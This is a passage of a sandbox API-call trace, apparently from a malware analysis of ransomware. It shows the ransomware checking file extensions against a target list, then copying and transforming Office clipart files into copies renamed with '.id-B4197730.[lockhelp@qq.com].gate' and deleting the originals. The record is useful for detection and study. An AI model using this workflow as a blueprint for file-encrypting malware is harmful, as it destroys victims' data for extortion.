(lpString=".pdf") returned 4 [0316.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.785] lstrlenW (lpString=".xls") returned 4 [0316.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.785] lstrlenW (lpString=".xlsx") returned 5 [0316.785] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0316.785] lstrlenW (lpString=".ppt") returned 4 [0316.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.785] lstrlenW (lpString=".zip") returned 4 [0316.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.785] lstrlenW (lpString=".rar") returned 4 [0316.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.785] lstrlenW (lpString=".bz2") returned 4 [0316.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.785] lstrlenW (lpString=".7z") returned 3 [0316.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.785] lstrlenW (lpString=".dbf") returned 4 [0316.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.785] lstrlenW (lpString=".1cd") returned 4 [0316.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.786] lstrlenW (lpString=".jpg") returned 4 [0316.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0317.004] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=32184) returned 1 [0317.004] CloseHandle (hObject=0x414) returned 1 [0317.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0317.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.007] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.007] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.008] GetLastError () returned 0x0 [0317.008] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.066] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.067] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.067] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0317.067] SetEndOfFile (hFile=0x4c4) returned 1 [0317.067] CloseHandle (hObject=0x4c4) returned 1 [0317.068] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.068] SetEndOfFile (hFile=0x414) returned 1 [0317.070] CloseHandle (hObject=0x414) returned 1 [0317.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0317.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.071] lstrlenW (lpString=".doc") returned 4 [0317.071] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString=".docx") returned 5 [0317.071] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0317.071] lstrlenW (lpString=".pdf") returned 4 [0317.071] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString=".xls") returned 4 [0317.071] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString=".xlsx") returned 5 [0317.071] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0317.071] lstrlenW (lpString=".ppt") returned 4 [0317.071] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.071] lstrlenW (lpString=".zip") returned 4 [0317.071] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString=".rar") returned 4 [0317.071] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.071] lstrlenW (lpString=".bz2") returned 4 [0317.071] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.072] lstrlenW (lpString=".7z") returned 3 [0317.072] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.072] lstrlenW (lpString=".dbf") returned 4 [0317.072] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.072] lstrlenW (lpString=".1cd") returned 4 [0317.072] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0317.072] lstrlenW (lpString=".jpg") returned 4 [0317.072] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.072] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=32184) returned 1 [0317.072] CloseHandle (hObject=0x414) returned 1 [0317.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0317.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.073] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.073] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.074] GetLastError () returned 0x0 [0317.074] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.201] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.202] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.202] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0317.202] SetEndOfFile (hFile=0x4c4) returned 1 [0317.241] CloseHandle (hObject=0x4c4) returned 1 [0317.246] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.246] SetEndOfFile (hFile=0x414) returned 1 [0317.268] CloseHandle (hObject=0x414) returned 1 [0317.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0317.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.269] lstrlenW (lpString=".doc") returned 4 [0317.269] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString=".docx") returned 5 [0317.269] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0317.269] lstrlenW (lpString=".pdf") returned 4 [0317.269] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString=".xls") returned 4 [0317.269] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString=".xlsx") returned 5 [0317.269] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0317.269] lstrlenW (lpString=".ppt") returned 4 [0317.269] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.269] lstrlenW (lpString=".zip") returned 4 [0317.269] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString=".rar") returned 4 [0317.269] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.269] lstrlenW (lpString=".bz2") returned 4 [0317.270] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.270] lstrlenW (lpString=".7z") returned 3 [0317.270] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.270] lstrlenW (lpString=".dbf") returned 4 [0317.270] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.270] lstrlenW (lpString=".1cd") returned 4 [0317.270] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0317.270] lstrlenW (lpString=".jpg") returned 4 [0317.270] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.270] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=31968) returned 1 [0317.270] CloseHandle (hObject=0x414) returned 1 [0317.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0317.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.271] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.271] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.271] GetLastError () returned 0x0 [0317.271] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0317.346] WriteFile (in: hFile=0x498, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0317.347] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.347] WriteFile (in: hFile=0x498, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0317.347] SetEndOfFile (hFile=0x498) returned 1 [0317.347] CloseHandle (hObject=0x498) returned 1 [0317.347] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.348] SetEndOfFile (hFile=0x414) returned 1 [0317.350] CloseHandle (hObject=0x414) returned 1 [0317.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0317.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.351] lstrlenW (lpString=".doc") returned 4 [0317.351] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".docx") returned 5 [0317.351] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0317.351] lstrlenW (lpString=".pdf") returned 4 [0317.351] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".xls") returned 4 [0317.351] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".xlsx") returned 5 [0317.351] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0317.351] lstrlenW (lpString=".ppt") returned 4 [0317.351] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.351] lstrlenW (lpString=".zip") returned 4 [0317.351] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".rar") returned 4 [0317.351] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".bz2") returned 4 [0317.351] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.351] lstrlenW (lpString=".7z") returned 3 [0317.351] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.351] lstrlenW (lpString=".dbf") returned 4 [0317.352] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.352] lstrlenW (lpString=".1cd") returned 4 [0317.352] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0317.352] lstrlenW (lpString=".jpg") returned 4 [0317.352] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.352] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=32616) returned 1 [0317.352] CloseHandle (hObject=0x414) returned 1 [0317.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0317.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.353] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.353] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.353] GetLastError () returned 0x0 [0317.353] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7f68, lpOverlapped=0x0) returned 1 [0317.469] WriteFile (in: hFile=0x498, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7f70, lpOverlapped=0x0) returned 1 [0317.471] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.471] WriteFile (in: hFile=0x498, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0317.471] SetEndOfFile (hFile=0x498) returned 1 [0317.471] CloseHandle (hObject=0x498) returned 1 [0317.471] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.471] SetEndOfFile (hFile=0x414) returned 1 [0317.473] CloseHandle (hObject=0x414) returned 1 [0317.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0317.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.475] lstrlenW (lpString=".doc") returned 4 [0317.475] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.475] lstrlenW (lpString=".docx") returned 5 [0317.475] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0317.475] lstrlenW (lpString=".pdf") returned 4 [0317.475] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.475] lstrlenW (lpString=".xls") returned 4 [0317.475] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.475] lstrlenW (lpString=".xlsx") returned 5 [0317.475] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0317.475] lstrlenW (lpString=".ppt") returned 4 [0317.475] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.484] lstrlenW (lpString=".zip") returned 4 [0317.484] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.484] lstrlenW (lpString=".rar") returned 4 [0317.484] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.484] lstrlenW (lpString=".bz2") returned 4 [0317.484] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.484] lstrlenW (lpString=".7z") returned 3 [0317.484] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.484] lstrlenW (lpString=".dbf") returned 4 [0317.484] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.484] lstrlenW (lpString=".1cd") returned 4 [0317.484] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0317.484] lstrlenW (lpString=".jpg") returned 4 [0317.484] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.485] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.485] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.485] GetLastError () returned 0x0 [0317.485] ReadFile (in: hFile=0x554, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x43c0, lpOverlapped=0x0) returned 1 [0317.956] 